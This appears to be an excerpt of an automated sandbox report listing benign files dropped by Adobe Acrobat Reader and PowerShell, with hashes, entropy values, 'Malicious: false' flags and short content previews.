Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665055036894912
Encrypted:	false
SSDEEP:	24:Yv6XlhikamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSP1:YvtiBgkDMUJUAh8cvMd
MD5:	816210FBCE3EA367E2BE3E4430F4163C
SHA1:	725248B6DB366428792AF04ECFBE6B26EA4A3CED
SHA-256:	AC9EACABA738E1E298D024C8F59C8794B71C5340EE0BBFB0C67ED1DAEE8AD77B
SHA-512:	88415CA941E9F6EA1C2468CFED021A7506E2B934B43969F01B340E28C731FFFC22B48421F1D4AF46ABF9195944F3EB4B6E811AD3A40EB42B5DBEE4B3376EEF17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.253664230543632
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfshHHrPeUkwRe9:YvXKXlYYpW7LGUUUkee9
MD5:	621C42B4754A6683A273B8E912A3B1A5
SHA1:	A6CB1B7F826AEE55B9CB8A3B48A6ED08532E5CB1
SHA-256:	07B4EAFEAC44D0852BF941DA20CEA2D421E6C327B14F55E040830484E4070BCA
SHA-512:	05F994AFC924CE50E81F7FA50AE45B485661003091211B9DD02BC9C3434695619507ACD7B10EC2D3E99578AA744151175B748D9E4EDC307AA6FCEE2DBCE2FC5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266641750471388
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJTqgFCrPeUkwRe9:YvXKXlYYpW7LGTq16Ukee9
MD5:	FDA40131BFACCF106DFDCF16E8E51E05
SHA1:	06974B4B8A0D4E479B88FF87968109BD453FA93A
SHA-256:	63161081252F3D7BBBDC1B813F2B4DD81D119A9749B2C8B5EF2FB45F911062E9
SHA-512:	A94BB501DD00EC4F8FDDB0978F7086D322842FC6E8A9A2C6C3F754D6AF0AFB92BF14D110DFA78255BA0AC9A3544F556EE6B5AD4445C5E3006CAE4426BEB36D1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145695368903729
Encrypted:	false
SSDEEP:	48:YpWo2nb+Bi/FanuwBXBKyJLwlVSLPaKMnb89Ee2geq9V4P3Ut:uObd/FanuwBXB/LiGcnb89X5Vo3Ut
MD5:	A5068BB29D6144630A8E33B35E8F4AC2
SHA1:	8DCBDFDE44FDBBC231A69F8ACB29E0F02FEA36BD
SHA-256:	BC2309F90B24762BE33005F2991D358EB4DCF629935CC7A80CB981D89D71CF0D
SHA-512:	85E58CA3B9817FF7D5251DBE5E6C24712702A9217413A8AA2905CC1A60945EA7A0DFE294AFB57C0966D72C46B0AD910C069D299EAD53868D53A5F939ADACCD29
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cfe9e3a30bda9cf75c125b34dce01496","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736781547000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2d69bf2e6ec7d300799e0f92632f99b2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736781547000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5636ef6560238cda5d94457901e34797","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736781547000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"23bc22b8594a19653cc09d43ce9b81f6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736781546000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b229bc83f60a4f4f527aeb193c091e91","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736781546000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c5259ab77d0acc83398bdae75e4aa2c7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9857965302195448
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpwM4zJwtNBwtNbRZ6bRZ4vMF:TVl2GL7ms6ggOVpw3zutYtp6Peg
MD5:	747E7B93F6B4CC252EA81BED5E94EEEA
SHA1:	B63E4BDD7216D5AEC51C88F2C432C140099CCBAD
SHA-256:	02E20B151399918BC1673C4A58BA3F050EBA981481FB70D9BBFCC7A475D3AF3F
SHA-512:	72D1BB3E2D8AF0F7A7F0A5DEBEFB44576B206290AF6C67BBC8070591FD8822A8FFF690938B7691040EA1506AB5B88C4AB42409CAB6885024A28EC49E94A9EB81
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3412797268632055
Encrypted:	false
SSDEEP:	24:7+thanAD1RZKHs/Ds/SpwMPzJwtNBwtNbRZ6bRZWf1RZKrIqLBx/XYKQvGJF7url:7MhmGgOVpwwzutYtp6PMiIqll2GL7msU
MD5:	475E720DE9F3D700F25A5C4080A38C09
SHA1:	01E0D066E6262C54D46B4D29E7AC346F4B5526C2
SHA-256:	BAA7BAE42F917E3989EC9E4C49841364DF20288D38F608E9A370DC843BB4DEC8
SHA-512:	C4A5E7F487D5513E7753D4B564DCE159C7E7EC29378B824CCCE2C883D67AB868C3417DD29F830F72B2201079493C5C2A6ED0C34DE20B41FC6839BD13702B98D0
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIWDO0sW8+YlnO46AaBWAIi9iyYyu:6a6TZ44ADEIWDaplnOAacApPK
MD5:	15D07AA0E45E8D33348E1E20E54D50D8
SHA1:	D1D786557BCE25A2E9E9A4A0F9C30E08B9E517F0
SHA-256:	E61CF8749FDA426B91DC2E42E8FC5D3CE7BD8509F6B14D40259783C7D3283856
SHA-512:	84D7F3239A229054C1EC17E682C820EE5B7EEB9DF37C2711EDA62139F2562E9BE23B6F74BDA48A1A371DD124DAEEB1FD76899EECA95054D478ABDC4336F90511
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIb83b7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jClEdNol:Qw946cPbiOxDlbYnuRKTjDol
MD5:	E1B7FCDBC2258EC2876993F97C8B6E1F
SHA1:	EFF5A2C9A9011C2B0E8B11E13697F4026DDEB78C
SHA-256:	53EB6B3984F2AE6FC7C72BC96D9F8D806E9DD28985D7A76E7607CA09A9231CC6
SHA-512:	A5EAAB88F16E742F8DE9A66AC1FB2DBA190A5EF9EBF50F2766F0C3BCBB8AC80FFA0633670397E30D23406C2A3C1C193AF181DFEB8C93B8E5187A727529DD25B2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .1.0.:.1.9.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnj3a0t5.iie.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qljetg1w.z4r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 10-19-02-476.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372926241704962
Encrypted:	false
SSDEEP:	384:F0wbebJYmYEYTYLsYrYWYIY7YNY8Z6rZ4Zd2p212r2HBeBiBVBcBP2dYdAdym2Xs:FhyFZF0Cs4rj6g1Er6fQm4ew07qQWS08
MD5:	777F27CC74F6476B0A79005C78AC122E
SHA1:	DD4524C54A725729CDE0EB00632083077112B04D
SHA-256:	DC6B7793951E751BE6487A02AEB2D57A0CA082AB9E2CB03A1F24375C273C6376
SHA-512:	C5EB1A5B66418A97FB20BE9B3D6B922CFD2FB0F613FFA23DED6A5EEC2493285983C00C9B7E1B47536350CEFB19D65642C4FD4F8E009110724EE40872F9BA20B7
Malicious:	false
Preview:	SessionID=37559c1f-9bf0-457d-a923-fb2635f4bd9e.1736781542509 Timestamp=2025-01-13T10:19:02:509-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=37559c1f-9bf0-457d-a923-fb2635f4bd9e.1736781542509 Timestamp=2025-01-13T10:19:02:533-0500 ThreadID=8004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=37559c1f-9bf0-457d-a923-fb2635f4bd9e.1736781542509 Timestamp=2025-01-13T10:19:02:533-0500 ThreadID=8004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=37559c1f-9bf0-457d-a923-fb2635f4bd9e.1736781542509 Timestamp=2025-01-13T10:19:02:534-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=37559c1f-9bf0-457d-a923-fb2635f4bd9e.1736781542509 Timestamp=2025-01-13T10:19:02:534-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397807911354752
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbA:U
MD5:	4F39F795428D2B4F8BDCB02E1254A522
SHA1:	65A8F6F685DFC7C4944E54AE9A3C46F137A4FAA8
SHA-256:	19EF6C914842DD411A30073D8F48F76C73D42152F4A4F5B602D1C44A2666D520
SHA-512:	45BB0E72DDA5ACCE392283A4A8ECAC67EADD87C72D5C8CA0339C49FDE84EE52DFA1F162C8751E8C84EE88F7A479284BFD4429D8D9F40C8E79FFE98CA40A7E5E1
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\39cee69b-38f7-4e92-9e4f-361ecd028e2b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\864bb761-25eb-4e40-a8d1-741a1ea4a909.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9c2fdaaf-8af1-4f82-8e9d-8fceee0a41c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e89300c1-c93e-4892-88d6-ecee210b677a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
